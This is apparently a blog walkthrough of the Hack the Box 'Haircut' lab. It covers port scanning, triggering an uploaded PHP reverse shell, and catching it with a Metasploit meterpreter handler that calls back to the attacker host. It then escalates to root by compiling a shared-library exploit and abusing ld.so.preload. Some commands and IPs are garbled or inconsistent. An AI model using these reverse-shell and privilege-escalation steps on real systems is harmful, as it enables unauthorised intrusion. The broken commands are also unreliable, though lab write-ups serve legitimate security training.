Hack the Box Challenge: Haircut Walkthrough


Level: Intermediate
Task: find user.txt and root.txt file in victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Haircut is 10.10.10.124 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10. 24
From given below image, you can observe we found port 22 and 80 are open in victim’s network.







As a result it found uploads directory with 403 response and an exposed.php file with 200 ok response.






URL: http://10.10.10.24/uploads/revshell.php
After executing uploaded backdoor file come back to metsploit framework and wait for meterpreter session.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.3
msf exploit(multi/handler) set lport 4321
msf exploit(multi/handler) exploit
From given below image you can observe meterpreter session1 opened for accessing victim tty shell.
meterpreter>sysinfo

cd home
ls
here I got a directory maria and after exploring it we found so many files and directory, at last I fetch user.txt file from inside /maria/Desktop/ and use cat command for reading.
cat user.txt
our 1st challenges finished successfully now move for 2nd challenge.







From given below image you can see I have paste above remaining copied inside 41154.sh and save all three text document on the desktop in a new folder shell.

Let’s compile our C program file manually in our local system using gcc as given below.
gcc -fPIC -shared -ldl -o libhax.so libhax.c

Similarly compile rootshell.c file through following command.
gcc -o rootshell rootshell.c


From given below image you can see all files we have stored in our folder shell, now let’s upload them into target’s system through our previous meterpreter session.

Since we /tmp has read and write permission therefore we are uploading all files in /tmp directory by executing following command.
cd /tmp
upload /root/Desktop/shell .

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
Open 41154.sh file as it contains command for getting root privilege as shown below.
cat 41154.sh

cd /etc
unmask 000
-D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
cd root
Here I got root.txt file now using cat command let open this file and finished our 2nd challenge.
cat root.txt
Wonderful!! We had completed the task and hacked this box.


0 comments:

Post a Comment